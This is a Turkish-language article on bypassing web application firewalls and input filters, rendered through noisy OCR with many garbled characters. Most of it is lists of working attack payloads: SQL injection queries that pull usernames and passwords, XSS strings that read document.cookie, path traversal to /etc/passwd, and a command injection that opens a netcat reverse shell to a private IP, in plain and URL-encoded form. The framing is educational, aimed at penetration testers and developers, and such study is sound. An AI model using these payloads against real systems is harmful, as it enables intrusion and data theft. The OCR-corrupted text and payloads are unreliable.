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WAF Sistemlerini ve Uygulama Filtrelerini Atlatma Teknikleri

Web Application Firewall (WAF) sistemleri ; web wuygulamalarini uygulama
gelistiricilerden bagimsiz olarak korumak icin tasarlananan ve web uygulamasina yoénelik
saldirlara 6zel koruma 6énlemleri saglayan sistemlerdir. Bunun yani sira uygulama gelistiricileri
de kendi hazirladiklar fonksiyonlar ile sorun olusturabilecek bazi ifadeleri filtreleyerek bu tip
problemlere ¢6zim lretmeye calismaktadiriar.

Bununla birlikte kullanilan bu sistemler, gerek yapilandirma hatasi gerekse de korumanin
tamamen veya kismen blacklist'lere dayandiriimis olmasi nedeni ile kimi durumlarda devre disi
birakilabilmektedir. Bu tip sistemleri atlatmak igin kullanilabilecek ydntemleri maddeler halinde
anlatilmaya calisilacaktir.

1- SSL Uzerinden WAF/IPS Sistemlerini Atlatma

WAF veya IPS sistemlerini konumlandirirken en sik yapilan hata genellikle SSL servisleri
icin gerekli ayarlarin yapilmamis olmasidir.
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Client and Load Balancer

‘e Load balancer terminates SSL with client
and does not re-encrypt the traffic

‘e Load balancer sends to appropriate web
server

‘e Traffic is passively inspected by WAF but
does not need to decrypt it

SSL givenli veri iletimi saglamak igin kullanici ve sunucu arasindaki trafigi sifreledidi igin,
bu kanal icinden aktarilan saldiri aktivitelerinin gortlebilmesi icin; SSL trafiginin bu sistemler
Uzerinde sonlandiriimasi ile veya trafigin acildiktan sonra sunuculara yollandigi bir bolgede
(SSL offloader veya reverse Proxy sistemleri ile sunucular arasinda) konumlandiriimasi ile
mumkan olabilir.
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SSL Connection Between Client and WAF SSL Between WAF and Web Server

* WAF Terminates SSL on both sides using it's own
keys

« Self-signed and trusted certificate for internal web
server

e Normally 3" party CA-issued certificate for web side
for non-organizational users to maintain trust model.



Dolayisi ile bu sekilde konumlandirilmayan saldin tespit sistemleri SSL trafigini analiz
edemeyecek ve saldirilari engelleyemeyecektir. Gerekli ayarlarin yapilip yapilmadigini anlamak
icin kullanilabilecek en basit yontem, saldin tespit sistemi tarafindan engellenecegi bilinen bir
istedin sunucuya hem HTTP hem de HTTPS veya SSL aktif edilmis sistem Gzerinden yollanmasi
olacaktir.

Ornedin GET /../../../../../etc/passwd HTTP/1.0 dizin atlatma teknigini kullanan bir saldir
imzasi ile bu gergeklestirilebilir. Eger ilgili istek her iki kanaldan vyollandiginda da
engellenebiliyorsa, gerekli ayarlarin yapildigini séylemek yanlis olmayacaktir.

2- Giiglii SSL Cipher'lan Kullanarak Giivenlik Kontrollerini Atlatma

Kullanilan harici gtvenlik 6nlemleri SSL trafigini analiz edebilmek igin ayarlanmis olsalar
bile cogu durumda bu ayar tek basina yeterli olmayacaktir. Bu tip sistemler tarafindan
desteklenmeyen fakat sunucu Uzerindeki destedi bulunan SSL cipher'lan kullanilarak ta mevcut
kontrolleri devre disi birakmak mumkun olabilir.

Bunun icin Diffie-Hellman anahtar dedisimi kullanilabilir. Bu yoéntem kriptografik
anahtarlarin dedisiminde kullanilan 6zel bir yontem olup kriptografi alaninda uygulanan ilk
pratik anahtar dedisimi 6rneklerinden biridir. Diffie-Hellman anahtar degisimi metodu karsilikh
iki tarafin ortaklasa glvensiz medya Uzerinden ortak gizli anahtar elde etmelerine olanak
sadlar. Bu anahtar daha sonra bir simetrik anahtar sifre kullanarak sonraki glivenli olmayan
kanal'dan iletisim'i sifrelemek igin kullanilabilir.

Ephemeral Diffie Hellman SSL Connection
(Orange arrows are optional or situation dependent,
blue are specific for DHE/EDH ciphers)

DHE and EDH Ciphers seek to solve this issue by
using the private key for authentication, but using a
separate method to agree on the shared secret
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random values from the Clienthello and ServerHello
messages, the generated prime number, the
primitive root modulo, and a calculation using these
values to generate a signature

3. Client checks the signature and generates a new
random number and sends a ClientKeyExchange
message using values from the initial
ServerKeyExchange and the new randomly
generated number. It also calculates a new
premaster secret

4. Server receives the ClientKeyExchange message
and then generates its own premaster secret which
matches the one generated by the client.

Since this premaster secret is dynamically
generated between client and server, Sniffing WAF
does not have the premaster secret and cannot
derive the master secret or inspect the traffic. This is
known as Perfect Forward Secrecy

3- Basit Istekler Kullanmak

WAF sistemleri genellikle énceden olusturulmus blacklist (istek icinde select ifadesi
geciyorsa engelle) ve whitelist (parametre dederi yalnizca 0 ve 65535 arasinda olabilir, bu
kurala uymayan bir istek geliyor ise engelle) listeleri ile gelen istekleri karsilastirarak, bir saldiri
olup olmadigini tespit ederler. Ozellikle black list kontrolleri belirli ifadelerin olusmasi
durumunda saldirilari tespit edecedi icin sadece ', "></ gibi ifadelerin yollanmasi durumunda



bu tip istekleri engelleyemeyebilirler. Ornedin asadidaki gibi bir istek giivenlik kontrollerine
takilirken

http://www.site.com.tr/uyg.asp?id=123"+union+selec+1,2,3--

Parametre sonuna sadece
uygulamaya ulasabilir.

karakteri eklenerek vyollanan asadidaki gibi bir istek

http://www.site.com.tr/uyg.asp?id=123"

Bu istedin olusturacagi hata mesajlarindan, kontrol edilen uygulamada bir SQL Injection
guvenlik problemi bulunup bulunmadigi ortaya cikartilabilir. Her ne kadar saldindan
yararlanmak icin gerekli ifadeler engellenmis olsa da, WAF sistemleri s6z konusu problemin var
oldugunun belirlenmesinin éniine gecemeyecektirler.

XSS saldirilarinda ise asadidaki gibi bir istek ile uygulamanin olusturdugu ciktilarda bu
ifadelerin encode edilip edilmedigi kontrol edilerek uygulamanin XSS saldirilarindan etkilenip
etkilenmeyecegdini belirlemek mimkin olabilir.

http://www.site.com.tr/uyg.asp?id=123<12("/>

4- HTTP Parameter Pollution (HPP) Tekniklerini Kullanmak

HTTP parameter pollution; uygulamalara var olan parametre isimi ile ayni olan yeni bir
parametre ekleyerek gerceklestirilen saldirn teknigidir. Ornedin normal uygulama ve
parametreleri asagidaki gibi iken;

http://www.site.com.tr/uyg.asp?id=123

Saldirgan ayni parametre ismini kullanarak ekledigi ek parametre ile uygulama calisma
mekanizmasini karistirabilir.

http://www.site.com.tr/uyg.asp?id=123&id=456

Uygulamalar genellikle bu tarz isteklere farkh sekillerde cevap vermektedirler.
Uygulama ya sadece ilk gelen parametre dederini (id=123), ya son parametre dederini
(id=456) yada her ikisini degisik sekilerde birlestirerek (id=123,456) parametre dederi olarak
almaktadir.

Ornegin; Apache web sunucusu {zerinde calisan uygulamalar son gelen degeri
parametre dederi olarak kabul ederken, ASP.NET uygulamalari her iki dederi , ile birlestirerek
kullanmaktadir. Uygulamalarin bu tip isteklere nasil davrandiklar ve sorun ile ilgili daha detayli
bilgiye asadidaki linkte sunulan sunumdan ulasmak mumkunddar.

http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Ozellikle ASP ve ASP.NET uygulamalarinin ayni parametre ismi ile yollanan bilgileri
birlestirerek kullanmasi WAF ve IPS sistemlerini atlatmada kullanilabilecek yeni bir yéntemi



bizlere sunmaktadir. Ornedin asadidaki gibi bir iste§i bu ydntemle parcalayarak yollama
yontemi mevcut glvenlik kontrollerini atlatmamiza izin verecektir.

http://www.site.com.tr/uyg.asp?id=123+select+1,2,3+from+table
http://www.site.com.tr/uyg.asp?id=123+select+1&id=2,3+from+table

Aciklama ifadelerini de kullanarak eklenecek sorgulari bu yontemi kullanarak istedigimiz
gibi sekillendirebiliriz.

http://www.site.com.tr/uyg.asp?id=select/*&id=*/user&id=pass/*&id=*/from/*&id=*/users
id=select/*, */user,pass/*,*/from/*,*/users

Sunuculara gore HPP davranislar tablosunu asadida gorebilirsiniz;

gt Over sult Example
ASP.NET/IIS All occurrences of the specific parameter parl=vall,val2
ASP/IIS All occurrences of the specific parameter parl=vall,val2
PHP/&pache Last occurrence parl=val2
PHP/Zeus Last occurrence parl=val2
JSP,Servlet/Apache Tomcat First occurrence parl=vall
JSP,Servlet/Oracle Application Server 10g First occurrence parl=vall
JSP,Serviet/Jetty First occurrence parl=vall
IBM Lotus Domino Last occurrence parl=val2
IBM HTTP Server First occurrence parl=vall
mod_perl,libapreq2/apache First occurrence parl=vall
Perl CGI/apache First occurrence parl=vall

mod_perl,lib???/Apache

Becomes an array

ARRAY(Dx8b9059C)

mod_wsgi (Python)/Apache

First occurrence

parl=vall

Python/Zope Becomes an array ['wall', 'val2']
IceWarp Last occurrence parl=val2

AXIS 2400 All occurrences of the specific parameter parl=vall,val2
Linksys Wireless-G PTZ Internet Camera Last occurrence parl=val2
Ricoh aAficio 1022 Printer First occurrence parl=vall
webcamXP PRO First occurrence parl=vall

DBMan

All occurrences of the specific parameter

parl=vall~~val2

5- HTTP Parameter Fragmentation (HPF) Yontemi Ile Koruma Onlemlerini Atlatma

Bu teknik uygulamanin birden gok parametreyi SQL sorgularinda kullanmasi durumunda

uygulanabilmektedir. Saldin istedi bu parametreler arasinda boéliinerek givenlik kontrolleri
devre digi birakilmaya calisilir. Ancak saldirinin basarili olabilmesi icin uygulama tarafindan
hazirlanan SQL sorgusunun buna izin vermesi gerekecektir. Ornedin SQL sorgusu asagidaki
gibi hazirlanmis ise

("select * from tablel.markt where brandid=".$ GET['brandid']." and
prodid=". $_GET[ 'prodid']." order by ".$ GET['priceid']);

ve istekler asagidaki gibi parametreler arasinda paylastirilarak yollanirsa

uyg.asp?brandid=123+union/*&prodid=*/select+user,pass/*&price=*/from users—-




sorgu asadidaki gibi sekillenecek ve istenilen islemler gerceklestirilebilecektir. Orijinal sorguda
kendi ekledigimiz sorgular calistirmamiza izin vermeyecek boélimler ise ekledigimiz /* */
aciklama alanlari ile iptal edilebilir.

select * from tablel.markt where brand=123 union/* and prodid=*/select
username,pass/*order by*/from users--

6- Basit Karmasiklastirma Teknikleri Ile Koruma Onlemlerini Atlatma

Ozellikle uygulama gelistiriciler bazi problemleri engellemek igin belirli anahtar kelimelere
gére filtreleme fonksiyonlari hazirlayabilmektedirler. Ornedin Cross-Site Scripting saldirilarini
engellemek icin script, alert, src; SQL Injection saldirilarini engellemek icin ise select, union,
from gibi ifadeler gegen istekleri filtreleyen veya bunlan igerikten silerek ¢ézim Uretmeye
calisan fonksiyonlar ile sikca karsilasiimaktadir. Ancak filtreleme fonksiyonlarinda gerekli
kontrollerin dizgin yapilmamasi nedeni ile saldirn ifadeleri icinde blyik ve kigik harfleri
karisik olarak kullanilarak gercgeklestirilen saldirilarda basari elde edilebilmektedir.

Ornedin bu tarz filtrelerde <script>alert(123)<script> gibi bir istek engellenebilirken,
gerekli kontrollerin dizgin yapilmamis olmasi durumunda <ScriPt>alerT(123)</sCRipt> gibi
blyuk kiglk harfler bir arada kullanilarak karmasiklastiriimis bir istek filtreden kagabilmektedir.
Mevcut onlemleri test etmek icin asagidaki gibi karmasiklastirilmis ifadelerden faydalanilabilir.

uyg.asp?id=<sCripT>AleRt (123)</scRIpt>
uyg.asp?id=123 uNion SeLeCT user,1,2,3 fRom table
uyg.asp?id=123 uniOn SeLEcT BaNneR FroM vSvERsIon WhERe ROwNUm=1

7- Encoding Teknikleri Kullanmak

Blacklist temelli kontrolleri atlatmak igin kullanilabilecek bir diger yontem ise saldiri
isteklerini kismen veya tamamen sunucu tarafindan desteklenen encoding ydntemleri ile
degistirerek yollamaktir. Ornedin cogu uygulamada web uygulama problemlerinin ortaya
citkmasina neden olan ', ", <, >, /, ;, |, \ gibi karakterlerin filtrelendigi veya bu karakterlerinin
kullanilmasi durumunda Onlerine \ karakteri eklenerek (escaping) veya ciktilarda encode
edilerek islendigi gorilmektedir. Ancak bu islem sadece bu karakterlerin normal veya birkag
farkli gosterimi icin gergeklestiriimesi durumunda dedisik encoding yéntemleri ile bu kontroller

atlatilabilmektedir.

Ornegin ' karakterinin farkli gésterimleri asagida sunulmustur.

URL Encode - %27

Double URL Encode - %2527
UTF-8 (2 byte) - %c0%a7

UTF-8 (JAVA) - \ucOa7

HTML Entity - &apos;

HTML Entity Number - &#27;
Decimal - &#39

Unicode URL Encoding - %u0027
Base64 - Jw==

Bu baglamda asadida, mevcut kontrolleri test etmek icin kullanilabilecek 6rnek istekler
yer almaktadir. Kullanilan givenlik filtreleri tarafindan yakalanan saldiri ifadeleri degisik
encoding teknikleri ile birlikte kullanarak, uygulamanin ve web sunucusunun da izin vermesi
durumunda bu kontrollerin atlatiimasi mimkun olabilir.



uyg.asp?id=<script>alert(l)</script>

uyg.asprid=%3c$73%63%72%69%70%74%3e%61%6Cc%65%72%74%28%31%29%3c%2£%73%63572%69%70%74%3e
uyg.asp?id=8253c$2573%2563%2572%2569%2570%2574%253e%2561%256Cc%2565%2572%82574%82528%2531%2
529%253c%252£%2573%2563%2572%2569%2570%2574%253e
uyg.asp?id=%3cscripté3ealert (1) 33ce2fscript?3c
uyg.asp?id=%3cscript$3ealert (1) %$3c/script$3c
uyg.asp?id=%3cscripté3ealert$281%29%3c%2fscript$3c
uyg.asp?id=%%3c%2fsCrIpT%3e%3csCripT%3ealert (1) %3c%2fsCrIpT%3e
uyg.asp?id=%A2%BE$%$BCscript$BEalert (1) $BC/script $BE

uyg.asp?id=<a href="javas&#99,ript&#35;alert (1) ;">
uyg.asp?id=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

uyg.asprid=data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
uyg.asp?id=0,;data:text/html;base64, PHNjcmlwdD5hbGVydCgwKTwvc2NyaXBO0Pg=="+http-
equiv="refresh" "

uyg.asp?id=123 or '1'='1

uyg.asp?id=123%200r%20%271%27=%271
uyg.asp?id=123%200r%20%c0%a7%c01%a71=%c0%a71
uyg.asp?id=123%2527%2520select$2520convert (int,@@servername) ——
uyg.asp?id=123K29yKycxJz0nMQO==

SELECT schemaname FROM pg tables

$53E3%4c345%43T%20%73663hs65%36d%61%6eas6des20646352034d%20%70g%51574a%5623%6ces73

uyg.asp?id=../../bin/1s%20-al|

uyg.asp?id=..%2F../bin/1s%20-al|
uyg.asp?id=..%c0%af../bin/1s%20-al|
uyg.asp?id=..%cl%9c../bin/1s%20-al|
uyg.asp?id=..%fc%80%80%80%80%af../bin/1s%20-al|

uyg.asp?id=123;nc -e /bin/bash 192.168.1.3 12345,

uyg.asp?id=%61%3b%6e%63%20%2d%65%20%2£%62%69%56e%2£%62%61373%68%20%31639%32%2e%31336%38%2
e$3162e333%20%31632%33%34%535%3b

SQL Injection saldirlarinda da HEX encoding kullanilabilmektedir. Asadidaki linkte
sunulan makalede bununla ilgili gizel bir 6rnek yer almaktadir.

http://www.gutizz.com/encoded-sql-injection/
8- Script Tag Isaretlerini Kullanmadan Gergeklestirilebilecek Saldirlar

Uygulama gelistiricileri XSS saldinlarini engellemek igin genellikle <,> karakterlerinin
ciktilarda kullanilirken encode edilmesinin yeterli olacagini disiinmektedirler. Bununla birlikte
parametreler iginde alinan verilerin giktilar olusturulurken input, a href gibi belirli tag alanlan
veya javascript fonksiyonlari iginde kullaniimalari durumunda bu karakterlere gerek kalmadan
onmouseover, onfocus gibi fonksiyonlar kullanilarak da XSS saldirilar gergeklestirilebilmektedir.



Bu tip istekler ayni zamanda WAF veya IPS sistemleri tarafindan da zararli olmayan istekler
olarak ele alinabilmektedir. Asagida bu tip XSS saldiri imzalari yer almaktadir.

uyg.asp?id="+onmouseover="window.location="http://www.site.com.tr/code.js"'
uyg.asp?id="+style?%3d"x%3aexpression (alert (1)) +
uyg.asp?id="+onkeypress="alert (23)"+"

uyg.asp?id=123); alert (document.cookie) ;//

uyg.asp?id=javascript:alert (1)

uyg.asp?id=alert (document.cookie)

uyg.asp?id=alert (document|['cookie'])

uyg.asp?id=with (document)alert (cookie)
uyg.asp?id=";location=location.hash)//#0={};alert (0)

uyg.asp?id=//";alert (String.fromCharCode (88,83,83))
uyg.asp?id=%F6%3Cimg+onmouseover=prompt (/test/)//$F6%3E

uyg.asp?id=%"'}) ;%0aalert (1) ;%20//
uyg.asp?id=%",;eval (unescape (location)) //#%0Aalert (0)
uyg.asp?id=0,;url=javascript:alert (1)" http-equiv="refresh'" "
uyg.asp?id=onError="javascript:decipher (document. forms.cipher) ;

alert (document. forms.cipher.stream.value); document.forms.cipher.stream.value =
document. forms.cipher.stream copy.value;

PHP uygulamalarda ise magic_quotes fonksiyonu genellikle ve karakterlerini
filtrelemek igin kullanilmaktadir. Bu kontrolleri atlatmak igin ise asadidaki gibi istekler
kullanilabilir.

uyg.php?id=<script>String.fromCharCode (61)</script>

Eder arka planda MYSQL veri tabani kullanihyor ise ' karakterine gerek kalmadan Hex Encoding
ile bu kontrolleri atlatmak mimkin olacaktir. Ornegdin SQL sorgularinda load_file('/etc/passwd')
yerine bunun hex encoded gésterimi ' isaretine gerek kalmadan asadidaki gibi kullanilabilir.

uyg.php?id=10+UNION+SELECT+LOAD FILE (0x2f6574632f706173737764)
uyg.asp?id=if (substring (USER(),1,4)=0x726£f6£74,SLEEP (5),1)

9- Ayni Islevi Goren Farkh Fonksiyonlar Kullanmak

Blacklist'e dayali kontroller saldirilarda yaygin olarak kullanilan anahtar kelimelere goére
olusturuldugu icin genellikle ayni amaca yonelik hazirlanmis benzer veya farkli fonksiyonlari
kullanarak devre disi birakilabilmektedir. Ornedin SQL Injection saldirilarini engellemek icin
union ve select ifadeleri genellikle filtrelenmektedir. Ancak bu ifadeler kullaniimadan ayni islevi
yerine getirecek ve blacklist'lerde tanimh olmayan dider fonksiyonlar bu tip kontrollerin ne
kadar vyetersiz oldugunu go6sterecektir. Asadida birbirleri yerine kullanilabilecek 6rnek
fonksiyonlar bulunmaktadir.

Ornegdin XSS icin Alert fonkisyonu yerine Prompt fonksiyonunu kullanmak

uyg.asp?id=<script>alert(l)</script>
uyg.asp?id=<script>prompt (1)</script>

Script yerine farkh tag'ler kullanmak

uyg.asp?id=<img/src="xss.png"alt="xss">
uyg.asp?id=<object data="javascript:alert(1)">




uyg.asp?id=<object><param name="src" value="javascript:alert (1)"></param></object>
uyg.asp?id=<isindex type=image src=1 onerror=alert(1)>

uyg.asp?id=<isindex action=javascript:alert(l) type=image>

uyg.asp?id=<img src=x:alert(alt) onerror=eval (src) alt=0>

uyg.asp?id=<meta style='"'xss:expression (open(alert(1)))" />

uyg.asp?id=<!</textarea <body onload='alert (1) '>

uyg.asp?id=</ style=?=-=expression\28write (12345)\29>
uyg.asp?id=<script>document.write (1l)</script>

uyg.asp?id=<img <iframe ="1" onerror="alert (1)">
uyg.asp?id=<script<{alert (1) }/></script>
uyg.asp?id=">alert (String. fromCharCode (88,83,83)) ;
uyg.asp?id=</XSS/*-*/STYLE=xss:e/**/xpression(alert (1))>
uyg.asp?id=<//STYLE=x:e/**/xpression (alert ('xss'))>
uyg.asprid=<object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBO0Pg=="></0
bject>

Blind SQL Injection Saldirilarinda substring() fonksiyonu vyerine mid() veya substr()
fonksiyonlarini kullanmak

uyg.asp?id=1+and+ascii (lower (substring( (select+pwd+from+users+limit+1,1),1,1)))=74--
uyg.asp?id=1+and+ascii (lower (mid((select+pwd+from+users+limit+1,1),1,1)))=74--

ASCII() fonksiyonu yerine HEX(), ORD() veya BIN() gibi diger fonksiyonlari kullanmak

uyg.asprid=1+and+ascii('a')=97
uyg.asp?id=I1+and+hex('a')=61
uyg.asp?id=ord('a') = 97

Zaman tabanh Blind SQL Injection saldirilarinda benchmark() yerine sleep() fonksiyonunu
kullanmak

uyg.asp?id=if (substring (USER(),1,4)="root',BENCHMARK (100000000,RAND()) ,1) -~
uyg.asp?id=if (substring (USER(),1,4)="root',SLEEP(5),1) -~

Union kullanmadan benzer sorgular olusturmak

uyg.asp?id=123"' and (select pass from users limit 1)='pass--

MYSQL veritabani icin bu tip birbiri yerine kullanilabilecek fonksiyonlarin bulundugu detayl bir
calismaya asadidaki adresten erisilebilinir.

http://websec.wordpress.com/2010/12/

10- Ayni Islevi Géren Farkhi Mantiksal Operatérler Kullanmak

Ozellikle SQL Injection saldirilarinda sikca kullanilan AND, OR, = ifadeleri yerine bunlarla ayni
islevi yerine getirecek farkli operatorler veya SQL sorgulari kullanmak ta mevcut koruma

dnlemlerini atlatmakta yararlanilabilecek ydntemlerden birisidir. Ozellikle Blind SQL Injection
saldinlarinda AND 1=1 gibi TRUE dederi dondirecek farkli ifadeler rahathkla kullanilabilir.



uyg.asp?id=123+AND+1=1
uyg.asp?id=123+&&+1=1

uyg.asp?id="'="
uyg.asp?id=123+AND+md5 ('a') != md5('A")
uyg.asp?id=123+and+len (@@version)>1
uyg.asp?id=1"'||1="1
uyg.asp?id=123"+1ike+"'123
uyg.asp?id=123"+not+1like+"'1234
uyg.asp?id="'aaa'<>'bbb'

11- SQL Injection Problemlerini Belirlemede Aritmetik Operatorierden Yaralanma

Blind SQL Injection acgiginin var oldugunun tespit edilebilmesi igin genellikle AND operatéri
kullanilmaktadir. Ornedin uyg.asp?id=123 seklindeki bir istee AND 1=1 (TRUE) ve AND 1=0
(FALSE) istekleri eklenerek acigin varligi test edilebilir. E§er agik mevcut ise "uyg.asp?id=123"
istegi ile ve “uyg.asp?id=123 AND 1=1" istedi ayni sonucu verirken “uyg.asp?id=123 AND
1=0" farkh bir sonug Uretmelidir. Bununla birlikte AND fonksiyonun alinan koruma &énlemleri
nedeni ile filtrelendigi durumlarda, uygulamanin da izin vermesi ve parametrenin sayisal bir
deder olmasi halinde toplama ve cikartma (+,-) gibi operatorler kullanilarak ta aciktan
yararlanmak ve mevcut kontrolleri atlatmak muiamkin olabilmektedir. Bu durumda
"uyg.asp?id=124" istedi ile "uyg.asp?id=123+1" istekleri ayni sonucu Uretmeli,
"uyg.asp?id=123" isedi ise farkl bir sonucu Gretmelidir.

uyg.asp?id=123+1-1 (id=123)
uyg.asp?id=123+1 (id=124)
uyg.asp?id=123+len (1234)-1en(123) (id=124)
uyg.asp?id=123+1len (@@server)-len (@@server)

12- Bosluk Karakteri Yerine Kullanilabilecek ifadeler

En sik karsilagsilan filtreleme ydntemlerinden birisi ise parametreler icinde gelen bosluk
karakterlerinin silinmesi islemidir. Bu tip bir kontrolli atlatmak icin ise genellikle bosluk
karakteri yerine /* */ aciklama ifadeleri kullaniimaktadir. Bunun diginda bosluk karakteri yerine
arka plandaki veritabani MYSQL ise %20, %09, %0a, %0b, %0c, %0d, %A0 ve parantez
isaretleri de kullanilabilmemtedir.

uyg.php?id=I1+union+select+1,2,3/%*

uyg.php?id=1/*union*/union/*select*/select+1,2,3/*
uyg.php?id=1%2520union$2520select$25201,2,3/*

uyg.php?id=1%0Aunion%0Aselect$0A1,2,3/*
uyg.php?id=1/**/union%alselect/**/1,pass,3 a from users"

uyg.php?id=(0)union (select (table schema), table name, (0) from(information schema.tables)h
aving ((table schema)like (0x74657374)&& (table name) !=(0x7573657273)))#

MYSQL veritabani bosluk karakteri yerine () karakterlerinin kullanilmasina da izin vermektedir.
Dolayisi ile sadece bosluk karakterlerinin silindigi filtreleme fonksiyonlar asadidaki gibi bir
istekle atlatilabilir.

uyg.php?id=union(select (version()))—--

MYSQL 5.1 ve Uzeri sistemler agiklama alanlarn iginde ! ifadesi ile baglayan SQL sorgularinin
calistirlmasina izin vermektedir. Mevcut sorguya uyacak sekilde asagidaki érnektekine benzer



sorgular eklenerek mevcut sorgu degistirilebilir. Aciklama alani icindeki ifadeleri g6z ardi
edebilecek bir koruma sistemini bu yolla atlatmak ta mimkuin olacaktir.

uyg.php?id=123/*! union all select version() */--
uyg.php?id=123/*lor*/1=1;

13- Aciklama (Comment) Karakterleri

SQL Injection saldinlarinda eklenen SQL sorgusunun diizgiin calisacagini garanti etmek icin
c¢ogu durumda eklenen bélgeden sonraki SQL ifadelerinin devre disi birakilmasi gerekmektedir.
Bunun igin saldirgan tarafindan enjekte edilen SQL sorgusunun sonuna agiklama karakterleri
eklenerek kendinden sonraki bélimlerin calistirimasi engellenerek hata alinmasinin énine
gecilir. Asagida bu amacla kullanilabilecek aciklama karakterlerine érnekler verilmistir.

uyg.php?id=1+union+select+1,2,3/*
uyg.php?id=1+union+select+1,2,3--
uyg.php?id=1+union+select+1,2,3#
uyg.php?id=1+union+select+1,2,3;%00

14- Ozel Karakterler Ekleyerek Uygulama Filtrelerini Atlatmak

Uygulama parametre dederlerine veya parametre adlarina eklenecek Nullbyte, bosluk, slash
veya newline karakterleri ile de bazi glvenlik kontrollerini atlatmak mimkln olabilmektedir.

uyg.php?id=%$3Cscript$3Ealert (document.cookie) $3C/script$00TESTTEST$3E
uyg.php?id=%3Cscript$3Ealert (document.cookie) $3C/script$20TESTTESTS$3E
uyg.php?id=";eval (unescape (location))//#%0Aalert (0)
uyg.php?file=../../../../../etc/passwd/////[..]1/////
uyg.php?file=../../../../../etc/passwd//////////////
uyg.php?file=.//././/././/./boot.ini
uyg.php?id$00TESTTEST=1+union+select+1,2,3
uyg.php?id$20TESTTEST=1+union+select+1,2,3
uyg.php?id=1234&"><script>alert(l)</script>=1234
uyg.php?id=%00><script>alert (123)</script>

15- Normal Istekler ile Gergeklestirilebilecek Saldirilar

En gelismis web uygulama glivenlik sistemleri de bazi uygulama problemlerini tespit etmekte
yetersiz kalabilirler. Ozellikle normal istekler ile yapilan ve parametre degerlerini degistirerek
gerceklestirilebilecek saldirilar bu duruma érnek gésterilebilir. Ornedin farkl kullanicilarin diger
kullanicilara ait bilgilere erismesine izin veren uygulamalar gibi.

http://www.site.com.tr/dekont.php?id=123
http://www.site.com.tr/dekont.php?id=124

Tamamen normal yukaridaki gibi iki istek aslinda bir kullanicinin farkh kullanicilara ait ve
normalde gérmemesi gereken bir sayfaya erismesine olanak taniyabilir. Uygulamalarda tanimli
ama her kullanicinin erisemeyecedi sekilde tasarlanmis fonksiyonlara, yeterli kontrollerin
yapilmamasi nedeni ile erisim gergeklestirilerek yapilabilecek saldirilarda bu tip sistemlerin
kontrolinden kagabilir.

http://www.site.com.tr/forum/list/admin




http://www.site.com.tr/forum/edit/admin

Kullanici bilgilerini dizenlemek igin kullanilan bir fonksiyon ile baska kullanicilara ait
bilgileri degistirmeye izin veren bir uygulama hatasi da bu tip sistemler tarafindan tespit
edilemeyecektir.

http://www.site.com.tr/forum/edit/deniz
http://www.site.com.tr/forum/edit/ugur

17-HTTP Istek Bashginda Yer Alan Diger Parametreler ve URL Re-Writing

Bazi web uygulamasina ydnelik gtvenlik duvar sistemleri sadece HTTP GET ve POST
metodu ile aktarilan parametreler icinde saldin ifadelerini aramaktadirlar. Oysa pek c¢ok
uygulama HTTP basliginda bulunabilecek User-Agent, X-forwarded-for, VIA veya tanimlanacak
kullanicilya 6zel alanlarla aktarilan verileri isleyebilmektedir. Dolayisi ile bu basliktaki alanlar
Uzerinden de XSS veya SQL Injection gibi saldirilar gergeklestirmek mimkuln olabilir.

Ornegin kullanici IP adresine goére islem yapan uygulamalar veya reverse-proxy
sistemleri X-Forwarded-For baslidi ile veri aktarabilirler. Haliyle bu bashklar ile aktarilan veriler
veri tabanina yazilirken herhangi bir kontrol gercgeklestiriimiyor ise uygulama SQL Injection
acigindan etkilenebilir. Kullanilan WAF veya IPS sistemlerinin tim HTTP bashdini inceleyip
incelemedigi mutlaka kontrol edilmeldir.

GET / HTTP/1.1
Host: localhost
X-Forwarded-For: 1'

18-URL Re-Writing

URL Re-Writing uygulanan sistemlerde de veriler standart parametre formati disinda
aktarilmaktadir. Bu sebeple bazi WAF sistemlerinin bu tip uygulamalar dinamik bir uygulama
olarak algilamayi, statik web igerigi gibi davrandigi ve mevcut givenlik kontrollerini
uygulamadi§i durumlar ile kersilasilmistir. Ornedin asagidaki gibi bir istek bazi sistemler
tarafindan saldin olarak algilanmayabilmektedir.

http://localhost/uyg/id/123+or+1=1/tp/456

Sonug

Blacklist'e dayanan ve tanimlanmis regex bazli kontroller ile gtvenlik énlemleri almaya
calisan sistemleri bir sekilde atlatmak her zaman mimklin olabilmektedir. Taniml kurallara
uymavyan bir istedi veya saldin ifadesini her zaman mumkin olabilir.

Yukarida sunulan ornekler de blacklist'lere dayali sistemlerin yetersiz olabilecegini
gOstermektedir. Bu sebepden 6tirl uygulama gelistiricileri tanimli filtrelere veya mevcut diger
ek guvenlik sistemlerine givenmeden uygulamalarini gelistirmelidirler. Bu sayede mevcut
Onlemlerin atlatilmasinin da bir 6nemi kalmayacaktir.
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